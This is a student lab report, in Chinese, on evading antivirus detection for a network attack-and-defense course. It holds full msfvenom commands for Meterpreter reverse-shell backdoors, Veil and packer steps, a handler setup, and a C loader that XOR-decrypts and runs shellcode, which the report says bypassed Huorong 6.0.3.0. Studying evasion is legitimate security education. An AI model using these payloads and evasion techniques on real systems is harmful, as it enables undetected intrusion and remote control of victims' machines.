20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 本周学习内容
1.1.1 后门技术
接着上一节课的内容继续学习了
- 进程隐藏技术,它还包含
- 基于 DLL 的进程隐藏技术:远程注入Dll技术
- 基于远程线程注入代码的进程隐藏技术
- Rootkit方式 分用户级和内核级
- 数据穿透与躲避技术:加密、隧道、反弹端口
1.1.2 简单后门实践基础
- netcat
- Meterpreter
Metasploit框架中的一个扩展模块,本质为Payload集 - Veil Evasion
为免杀工具
1.1.3 免杀
- 杀毒软件原理
- 特征码、启发式、基于行为
- 校验和
- 机器学习
- 免杀技术
- 修改特征码 最初的方法
- 修改校验和
- 花指令免杀 阻止反汇编程序。若杀毒软件不能识别,则其不能正确定位特征码
- 加壳免杀 系统先运行“壳”,由壳将加密或压缩的程序逐步还原到内存中,最后运行
加壳免杀还含虚拟机保护技术,将原本的汇编指令转换为另一种表现形式,以使不被轻易逆向、修改 - 内存免杀
加壳免杀用于扫描文件时。杀毒软件在文件扫描和内存扫描的特征码不同,在内存中继续使用之前的免杀技术
1.2 实验任务
- 正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧
- 使用msf编码器,通过msfvenom生成如jar之类的其他文件
- veil-evasion,加壳工具
- 使用C + shellcode编程
- 通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。 - 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.问题回答
- 杀软是如何检测出恶意代码的?
特征码、校验和、机器学习等 - 免杀是做什么?
避免后门等被杀毒软件查杀 - 免杀的基本方法有哪些?
修改特征码、修改校验和,加壳等
3.实验过程
3.1 正确使用msf编码器,veil-evasion,利用shellcode编程等免杀工具或技巧
3.1.1 使用msf编码器,通过msfvenom生成如jar之类的其他文件
- 使用VirusTotal、Virscan来检测不编码生成的.exe后门程序
生成该程序的命令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe
VirusTotal检出率为62/73,Virscan检出率为25/48
- 使用编码器x86/shikata_ga_nai进行一次编码后生成.exe后门程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor1.exe
VirusTotal检出率为61/73,Virscan检出率为26/48。相比不编码,VirusTotal检出率微量下降,Virscan检出率微量上升
- 使用编码器x86/shikata_ga_nai进行多次次编码后生成.exe后门程序(迭代60次以上将无法构造有效的编码排列)
- 10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor10.exe
VirusTotal检出率为62/73,Virscan检出率为26/48,相比1次编码,VirusTotal检出率微量上升
- 60次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor60.exe
VirusTotal检出率为61/73,Virscan检出率为25/48,相比10次,检出率微量下降
- 10次
- 使用编码器生成其他格式的后门程序(.php、.jar、.apk、.elf)
-
生成.php格式的文件
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.191 LPORT=2420 -f raw > 20222420_backdoor.php
VirusTotal检出率为9/63,Virscan检出率为2/48
-
生成.jar格式的文件,无法使用编码
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.191 LPORT=2420 -f jar> 20222420_encoder.jar
VirusTotal检出率为34/66,Virscan检出率为13/48
-
生成.apk格式的文件
msfvenom -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 > 20222420_backdoor.apk
VirusTotal检出率为10/63,Virscan检出率为3/48
-
生成.elf格式的文件
msfvenom -p linux/x86/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 > 20222420_backdoor.elf
VirusTotal检出率为11/62,Virscan检出率为4/48
综上,得到如下列表
可知,
(1)编码对检出.exe文件基本没影响,且.exe格式的检出率在所有测试格式中最高
(2)检出率次高的是.jar格式
(3).php、.apk、.elf编码次数均为10,检出率基本在同一个档次(在所有测试格式检出率最低)格式 编码次数 VirusTotal检出率 Virscan检出率 .exe 0 62/73 25/48 .exe 1 61/73 26/48 .exe 10 62/73 26/48 .exe 60 61/73 25/48 .php 10 9/63 2/48 .jar 0 34/66 13/48 .apk 10 10/63 3/48 .elf 10 11/62 4/48
-
3.1.2 veil-evasion,加壳工具
- (1)配置veil是一件比较困难的事情,我参考了github上关于veil的readme和issues,并根据报错信息查看了配置文件/usr/share/veil/config/setup.sh才弄懂了问题的所在,然后才经过一些改动成功地配置了veil。配置veil的过程如下,具体为什么进行改动将在“问题及解决方案”部分详细解释。
- 按照readme中的说法,要么用apt下载,要么用git下载。因用git下载仍有报错且apt下载命令仅两行,所以我选择用apt下载
同时,readme中要求要么用sudo,要么用root用户,所以我决定两个都用,先用sudo su切换到root用户,然后输入第一行命令
sudo apt -y install veil
- 这时需要进行第一个改动:用vim打开/usr/share/veil/config/setup.sh,将587行处的内容改为
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
- 然后进行第二个改动,在桌面(或其他自己熟悉的目录)打开一个终端,执行
sudo git clone https://github.com/Veil-Framework/VeilDependencies.git
,即从git上克隆一个veil的依赖库
再用vim打开/usr/share/veil/config/setup.sh,输入/Veil-Fr,找到sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}"
的位置,将其改为cp -r /home/s20222420/Desktop/VeilDependencies "${dependenciesdir}"
,退出并保存
- 这时所有需要的改动完成,可以使用第二行命令,等待其完成便配置好veil了。经过查看,过程中没有任何error或warning
/usr/share/veil/config/setup.sh --force --silent
- 按照readme中的说法,要么用apt下载,要么用git下载。因用git下载仍有报错且apt下载命令仅两行,所以我选择用apt下载
- (2)开始使用veil
- 打开veil
- 选择工具,选用Evasion
- 输入list,查看可用的payloads
- 选择第7个payload,即
c/meterpreter/rev_tcp.py
use 7
通过其上的描述或下面github里的描述,可知是用于攻击windows的反弹连接
- 接下来,设置LHOST和LPORT,然后generate
- 打开veil
- (3)检测veil的效果
VirusTotal检出率为43/73,Virscan检出率为17/48。相比实验第一次检测中的62/73,25/48,可知有一定的免杀效果。
3.1.3 使用C + shellcode编程
- 用msfvenom工具来生成一个C语言的源代码格式的有效载荷
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.192 LPORT=2420 -f c
- 用生成的shellcode编写.c文件。强制转化shellcode为函数指针类型,并让一个变量接收,执行这个变量便执行了该shellcode
- 利用指令
i686-w64-mingw32-g++
进行编译,得到exe文件。这个编译器专门用于生成 32 位 Windows 应用程序
i686-w64-mingw32-g++ 20222420_c_shellcode.c -o 20222420_c_shellcode.exe
- 测试
VirusTotal检出率为35/60,Virscan检出率为15/48。相比veil,检出率又均有一定下降
3.1.4 使用加壳工具
- (1)使用压缩壳UPX
- 使用指令upx 20222420_c_shellcode.exe -o 20222420_c_upx_shellcode.exe,给上一个步骤生成的20222420_c_shellcode.exe加一个压缩壳。
- 测试
VirusTotal检出率为46/72,Virscan检出率为11/48。相比原本的文件,VirusTotal检出率上升,Virscan检出率下降。说明VirusTotal比Virscan对UPX记录得更多。
- 使用指令upx 20222420_c_shellcode.exe -o 20222420_c_upx_shellcode.exe,给上一个步骤生成的20222420_c_shellcode.exe加一个压缩壳。
- (2)使用加密壳Hyperion
- 使用指令如下
wine /usr/share/windows-resources/hyperion/hyperion.exe -v /home/s20222420/Desktop/20222420_c_shellcode.exe /home/s20222420/Desktop/20222420_c_hyp_shellcode.exe
注意需要在root下执行
- 测试
VirusTotal检出率为54/73,Virscan检出率为21/48。相比原本的文件,检出率均上升,且均高于使用UPX。说明加密壳Hyperion被记录得更加广泛。
- 使用指令如下
3.2 通过组合应用各种技术实现恶意代码免杀(描述原理,仅要与杀软共生截图)
- 发现:同一份C语言程序,在linux下编译和在windows下编译,在VirusTotal中的差距极大
- Linux下用i686-w64-mingw32-g++交叉编译,检出率为23/70
- windows下codeblocks中编译,检出率为4/72。
- 大量试验中我的思考过程
- Thread1:Linux下加壳后检出率反而提升,于是我决定不加壳
- Thread2:veil生成的后门效果虽然比msf编码的效果好但检出率仍不低,且还不能改动,于是我将使用"编码+c+shellcode"
- Thread3:使用"编码+c+shellcode",检出率仍较高,为进一步降低检出率,于是考虑将shellcode加密
- Thread4:单纯使用异或0x01变动shellcode且main函数不将其解密,以及异或一个密钥变动shellcode且main函数中将其解密,这种两种方式的检出率均较低,如后者在linux编译后检出率为28/72,在windows编译后检出率为11/72
- 具体实现过程
- 使用msf编码器生成编码十次后的shellcode并输出到新建文件20222420_shellcode.txt
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.192 LPORT=2420 -f c > 20222420_shellcode.txt
- 编写、编译、运行加密程序20222420_enc,将20222420_shellcode.txt中的shellcode用0x05加密各个字节
- 将加密后的shellcode放在新建文件20222420_shellcode2.c中
- 在20222420_shellcode2.c中加入main函数,用于将加密后的shellcode解密并执行
- 使用msf编码器生成编码十次后的shellcode并输出到新建文件20222420_shellcode.txt
点击查看代码
int main(){
int i;
for(i=0;i<sizeof(buf);i++)
{
buf[i] ^= 0x05;
}
int (*func)() = (int(*)())buf;
func();
}
-
上述20222420_shellcode2.c只是一个临时文件,现在将文件中编写好的代码复制在windows环境下编译,文件夹名为20222420_shellcode2
- 杀软扫描
使用火绒安全软件,版本为6.0.3.0
20222420_shellcode2.exe并未被查出,仅查出20222420_shellcode10.exe
- 杀软扫描
-
额外的想法
参考音频的cda格式,只存地址,将shellcode打散存储,用一个数组存储指向各个shellcode分片的地址,然后在需要执行shellcode时一片片找,可找一片执行一片,也可找完后按数组顺序一片片执行。
也许可以将main函数改为如下,但shellcode也许不能一个字节一个字节地执行,可以改分为能执行的块。
int main()
{ //由于若要将buf随机存储,编写代码时间较长,我这里仅将其分为两个部分
unsigned char buf1[sizeof(buf)] ; //存储buf的偶数部分
unsigned char buf2[sizeof(buf)] ; //存储buf的奇数部分
int i=0;
for(i=0;i<sizeof(buf);i++)
{
if(i%2==0) buf1[i/2]=(unsigned char)(buf[i]^0x05); //存储buf的偶数部分并解密,这样无论内容是否被加密,单独看buf1就是无毒的
else buf2[(i-1)/2]=(unsigned char)(buf[i]^0x05); //存储buf的奇数部分并解密,这样无论内容是否被加密,单独看buf2就是无毒的
}
int (*func[sizeof(buf)])(); //func为指向函数指针的指针,即函数指针数组
for(i=0;i<sizeof(buf);i++) //找到每一个buf分片
{
if(i%2==0)
{
func[i] = (int(*)())&buf1[i/2]; //若要改进,其实也可以在这里解密并执行,且可以执行一片清空一片
}
else func[i] = (int(*)())&buf2[(i-1)/2];
}
for(i=0;i<sizeof(buf);i++) //相当于将每一个字节当作一个函数指针指向的空间,要执行这个字节就只能顺序执行每一个指针,而func就是一个顺序存储各个指针的数组的指针。这样避免了仅一个函数指针就暴露整个shellcode
func[i]();
}
3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在kali中输入
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.150.192
set LPORT 2420
exploit
使用火绒安全软件,版本为6.0.3.0
在杀软开启的情况下,在windows主机上运行生成的程序,可以看到成功回连成功。
4.问题及解决方案
- 问题1:安装配置veil时报错
- 问题1解决方案:1.根据报错信息知道是Python pip pefile报错,在github上查找相关问题,发现pefile不支持相关python,在setup.sh中改变pefile的版本为2019.4.18便可解决这个问题。2.解决了Python pip pefile的问题,我又遇到了报错,通过报错信息知道是克隆时无法连接到github,这是网络的问题,但我单独在终端中运行setup.sh中相关的克隆命令时并没有出错。于是我将其克隆在桌面,然后将setup.sh中的克隆命令改为cp命令,将克隆到桌面的文件夹复制到原需克隆至的目录。然后我便成功安装配置了veil。
- 问题2:使用加密壳时出错
- 问题2解决方案:可能是权限不够,转换在root用户下运行便成功了。
- 问题3:msfvenom生成exe文件后无法在windows下执行并连接
- 问题3解决方案:经过试验排除了payload不是x64的问题,发现需要-f exe参数才能使其可执行并连接。不用-f exe而用x或什么都不加,是都不能执行并连接的。
5.学习感悟、思考等
在本次实验中,通过使用msf编码器、veil-evasion、加壳工具以及C + shellcode编程等多种技术和工具,我学习了如何在保持恶意代码功能性的同时,尽可能地避免被杀毒软件检测和拦截。
在实验过程中,我遇到了不少问题,比如veil的安装配置错误、加密壳的使用权限问题以及msfvenom生成文件无法执行的问题。这些问题一度让我感到困惑和沮丧,但通过不断查阅文档、搜索解决方案和反复试验,我最终成功地克服了这些障碍。这些经历不仅提升了我的问题解决能力,也让我更加深刻地体会到了实践的重要性。
经过本次实验,我深刻体会到,在网络安全领域,恶意代码的隐藏和检测是一个相互博弈的过程。一方面,攻击者会不断尝试使用新的技术手段来躲过安全检测,另一方面,安全厂商也会不断更新和升级他们的检测算法来应对这些威胁。